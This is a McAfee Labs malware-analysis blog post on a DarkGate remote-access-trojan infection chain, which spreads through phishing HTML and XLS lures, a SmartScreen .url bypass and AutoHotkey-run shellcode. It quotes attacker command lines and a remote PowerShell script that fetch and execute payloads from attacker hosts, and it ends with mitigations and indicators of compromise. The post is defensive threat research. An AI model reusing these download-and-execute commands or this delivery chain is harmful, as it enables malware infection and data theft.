Authored by Yashvi Shah, Lakshya Mathur and Preksha Saxena
McAfee Labs has recently uncovered a novel infection chain associated with DarkGate malware. This chain commences with an HTML-based entry point and progresses to exploit the AutoHotkey utility in its subsequent stages. DarkGate, a Remote Access Trojan (RAT) developed using Borland Delphi, has been marketed as a Malware-as-a-Service (MaaS) offering on a Russian-language cybercrime forum since at least 2018. This malicious software boasts an array of functionalities, such as process injection, file download and execution, data theft, shell command execution, keylogging capabilities, among others. Following is the spread of DarkGate observed in our telemetry for last three months:
Figure 1: Geo-Distribution of DarkGate
DarkGate’s attempt to bypass Defender Smartscreen
Additionally, DarkGate incorporates numerous evasion tactics to circumvent detection. DarkGate notably circumvented Microsoft Defender SmartScreen, prompting Microsoft to subsequently release a patch to address this vulnerability.
In the previous year, CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) was identified and subsequently patched https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 . CVE-2023-36025 is a vulnerability impacting Microsoft Windows Defender SmartScreen. This flaw arises from the absence of proper checks and corresponding prompts related to Internet Shortcut (.url) files. Cyber adversaries exploit this vulnerability by creating malicious .url files capable of downloading and executing harmful scripts, effectively evading the warning and inspection mechanisms of Windows Defender SmartScreen. This year, same way, CVE-2024-21412 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412 ) was identified and patched. This vulnerability is about “Internet Shortcut Files Security Feature Bypass Vulnerability”.
Infection Chain
McAfee Labs has identified two distinct initial vectors carrying identical DarkGate shellcode and payload. The first vector originates from an HTML file, while the second begins with an XLS file. We will delve into each chain individually to unveil their respective mechanisms. Below is the detailed infection chain for the same:
Figure 2: Infection Chain
Infection from HTML:
The infection chain initiates with a phishing HTML page masquerading as a Word document. Users are prompted to open the document in “Cloud View” (shown in the figure below), creating a deceptive lure for unwitting individuals to interact with malicious content.
Figure 3: HTML page
Upon clicking “Cloud View,” users are prompted to grant permission to open Windows Explorer, facilitating the subsequent redirection process.
Figure 4: Prompt confirming redirection to Windows Explorer
Upon granting permission and opening Windows Explorer, users encounter a file depicted within the Windows Explorer interface. The window title prominently displays “\\onedrive.live.com,” adding a veneer of legitimacy to the purported “Cloud View” experience.
Figure 5: Share Internet Shortcut via SMB
In our investigation, we sought to trace the origin of the described phishing scheme back to its parent HTML file. Upon inspection, it appears that the highlighted content in the image may be a string encoded in reverse Base64 format. This suspicion arises from the presence of a JavaScript function (shown in the figure below) designed to reverse strings, which suggests an attempt to decode or manipulate encoded data.
Figure 6: Javascript in HTML code
On reversing and base64 decoding the yellow highlighted content in Figure 6, we found:
Figure 7: WebDAV share
The URL utilizes the “search-ms” application protocol to execute a search operation for a file named “Report-26-2024.url”. The “crumb” parameter is employed to confine the search within the context of the malicious WebDAV share, restricting its scope. Additionally, the “DisplayName” element is manipulated to mislead users into believing that the accessed resource is associated with the legitimate “onedrive.live.com” folder, thereby facilitating deception.
Hence, the presence of “onedrive.live.com” in the Windows Explorer window title is a direct consequence of the deceptive manipulation within the URL structure.
The file is an Internet Shortcut (.url) file, containing the following content:
Figure 8: content of .URL file
The .url files serve as straightforward INI configuration files, typically consisting of a “URL=” parameter indicating a specific URL. In our scenario, the URL parameter is defined as follows: URL=file://170.130.55.130/share/a/Report-26-2024.zip/Report-26-2024.vbs.
Upon execution of the .url file, it will initiate the execution of the VBScript file specified in the URL parameter. This process allows for the automatic execution of the VBScript file, potentially enabling the execution of malicious commands or actions on the system.
The vulnerability CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) pertains to Microsoft Windows Defender SmartScreen failing to issue a security prompt prior to executing a .url file from an untrusted source. Attackers exploit this by constructing a Windows shortcut (.url) file that sidesteps the SmartScreen protection prompt. This evasion is achieved by incorporating a script file as a component of the malicious payload delivery mechanism. Although Microsoft has released a patch https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 to address this vulnerability, it remains exploitable in unpatched versions of Windows.
If your system is not patched and updated, you will not see any prompt. However, if your system is updated, you will encounter a prompt like:
Figure 9: SmartScreen prompt
On allowing execution, the vbs file is dropped at C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29. This file will run automatically on execution of url file and we get the following process tree:
Figure 10: Process tree
Following are the command lines:
- “C:\Windows\System32\WScript.exe” “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”
- “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘withupdate.com/zuyagaoq’)
- \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
- “C:\rjtu\AutoHotkey.exe” C:/rjtu/script.ahk
- “C:\Windows\system32\attrib.exe” +h C:/rjtu/
The sequence of commands begins with the execution of the VBScript file located at “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”. This VBScript subsequently utilizes PowerShell to execute a script obtained from the specified URL (‘withupdate.com/zuyagaoq’) via the Invoke-RestMethod cmdlet. Upon executing the downloaded script, it proceeds to command and execute the AutoHotkey utility, employing a script located at the designated path (C:/rjtu/script.ahk). Subsequently, the final command utilizes the attrib tool to set the hidden attribute (+h) for the specified directory (C:/rjtu/).
Inspecting the URL “withupdate.com/zuyagaoq” explicitly allows for a detailed understanding of the infection flow:
Figure 11: Remote Script on the C2
This URL leads to a script:
Figure 12: Remote Script contentReformatting, we get:
Figure 13: Remote script content
Explanation of the script:
- ni ‘C:/rjtu/’ -Type Directory -Force: This command creates a new directory named “rjtu” in the root of the C drive if it doesn’t already exist.
- cd ‘C:/rjtu/’: This changes the current directory to the newly created “rjtu” directory.
- Invoke-WebRequest -Uri “http://withupdate.com/oudowibspr” -OutFile ‘C:/rjtu/temp_AutoHotkey.exe’: This command downloads a file from the specified URL and saves it as “temp_AutoHotkey.exe” in the “rjtu” directory.
- Invoke-WebRequest -Uri “http://withupdate.com/rwlwiwbv” -OutFile ‘C:/rjtu/script.ahk’: This downloads a file named “script.ahk” from another specified URL and saves it in the “rjtu” directory.
- Invoke-WebRequest -Uri “http://withupdate.com/bisglrkb” -OutFile ‘C:/rjtu/test.txt’: This downloads a file named “test.txt” from yet another specified URL and saves it in the “rjtu” directory.
- start ‘C:/rjtu/AutoHotkey.exe’ -a ‘C:/rjtu/script.ahk’: This command starts the executable “AutoHotkey.exe” located in the “rjtu” directory and passes “script.ahk” file as an argument.
- attrib +h ‘C:/rjtu/’: This sets the hidden attribute for the “rjtu” directory.
Checking “C:/rjtu”:
Figure 14: Dropped folder
AutoHotkey is a scripting language that allows users to automate tasks on a Windows computer. It can simulate keystrokes, mouse movements, and manipulate windows and controls. By writing scripts, users can create custom shortcuts, automate repetitive tasks, and enhance productivity.
To execute an AutoHotkey script, it is passed as a parameter to the AutoHotkey executable (autohotkey.exe).
Following is the ahk script file content:
Figure 15: Content of .ahk script
There are a lot of comments added in the script, simplifying the script, we get:
Figure 16: .ahk script after removing junk
This script reads the content of “test.txt” into memory, allocates a memory region in the process’s address space, writes the content of “test.txt” as hexadecimal bytes into that memory region, and finally, it executes the content of that memory region as a function. This script seems to be executing instructions stored in “test.txt”.
Now, it’s confirmed that the shellcode resides within the contents of “test.txt”. This is how the text.txt appears:
Figure 17: Content of test.txt
We analyzed the memory in use for Autohotkey.exe.
Figure 18: Memory of running instance of AutoHotKey.exeWe dumped the memory associated with it and found that it was the same as the content in test.txt.
Figure 19: Memory dump of running AutoHotKey.exe same as test.txt
This is the shellcode present here. The first 6 bytes are assembly instructions:
Figure 20: Shellcode A in the beginning
Following the jump instructions of 3bf bytes, we reach the same set of instructions again:
Figure 21: Same Shellcode A after jump
This means another jump with be taken for another 3bf bytes:
Figure 22: Same Shellcode A one more time
We have encountered same set of instructions again, taking another jump we reach to:
Figure 23: New Shellcode B found next.
These bytes are again another shellcode and the region highlighted in yellow(in the figure below) is a PE file. The Instruction pointer is not at the PE currently. This shellcode needs to be decoded first.
Figure 24: Shellcode B followed by PE file highlighted
This shellcode suggests adding 71000 to the current offset and instruction pointer will be at the new location. The current offset is B3D, adding 71000 makes it 71B3D. Checking 71B3D, we get:
Figure 25: After debugging found next Shellcode C
This is again now one more set of instructions in shellcode. This is approximately 4KB in size and is appended at the end of the file.
Figure 26: Shellcode C directing to entry point of the PE file
Upon debugging this code, we figured out that in marked “call eax” instruction, eax has the address of the entry point of the final DarkGate payload. Hence this instruction finally moves the Instruction Pointer to the entry point of the PE file. This goes to the same region marked in yellow in Figure 24.
This is the final DarkGate payload which is a Delphi-compiled executable file:
Figure 27: Darkgate payload.
Upon this, we see all the network activity happening to C2 site:
Figure 28: Network Communication
Figure 29: C2 IP address
The exfiltration is done to the IP address 5.252.177.207.
Persistence:
For maintaining persistence, a .lnk file is dropped in startup folder:
Figure 30: Persistence
Content of lnk file:
Figure 31: Content of .lnk used for persistence
The shortcut file (lnk) drops a folder named “hakeede” in the “C:\ProgramData” directory.
Figure 32: Folder dropped in “C:\ProgramData”
Inside this folder, all the same files are present:
Figure 33: Same set of files present in dropped folder
Again, the ahk file is executed with the help of Autohotkey.exe and shellcode present in test.txt is executed. These files have the same SHA256 value, differing only in their assigned names.
Infection from XLS:
The malicious excel file asks the user to click on “Open” to view the content properly.
Figure 34: XLS sample
Upon clicking on “Open” button, user gets the following prompt warning the user before opening the file.
Figure 35: XLS files trying to download and run VBS file
For our analysis, we allowed the activity by clicking on “OK”. Following this we got the process tree as:
Figure 36: Process tree from Excel file
The command lines are:
- “C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE” “C:\Users\admin\Documents\Cluster\10-apr-xls\1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4.xlsx”
- “C:\Windows\System32\WScript.exe” “\\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs”
- “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘103.124.106.237/wctaehcw’)
- \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
- “C:\kady\AutoHotkey.exe” C:/kady/script.ahk
- “C:\Windows\system32\attrib.exe” +h C:/kady/
The file it gets from “103.124.106[.]237/wctaehcw” has the following content:
Figure 37: Remote script simliar to previous chain
From this point onward, the infection process mirrors the previously discussed chain. All three files, including AutoHotKey.exe, a script file, and a text file, are downloaded, with identical artifacts observed throughout the process.
Mitigation:
- Verify Sender Information
- Think Before Clicking Links and Warnings
- Check for Spelling and Grammar Errors
- Be Cautious with Email Content
- Verify Unusual Requests
- Use Email Spam Filters
- Check for Secure HTTP Connections
- Delete Suspicious Emails
- Keep Windows and Security Software Up to date
Indicators of Compromise (IoCs):
| File |
Hash |
| Html file |
196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005 |
| URL file |
2b296ffc6d173594bae63d37e2831ba21a59ce385b87503710dc9ca439ed7833 |
| VBS |
038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907 |
| autohotkey.exe |
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb |
| AHK script |
dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455 |
| test.txt |
4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795 |
| DarkGate exe |
6ed1b68de55791a6534ea96e721ff6a5662f2aefff471929d23638f854a80031 |
| IP |
5.252.177.207 |
| XLS file |
1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4 |
| VBS |
2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f |
| LNK file |
10e362e18c355b9f8db9a0dbbc75cf04649606ef96743c759f03508b514ad34e |
| IP |
103.124.106.237 |
Table 1: IOC table
The post The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen appeared first on McAfee Blog.
Login
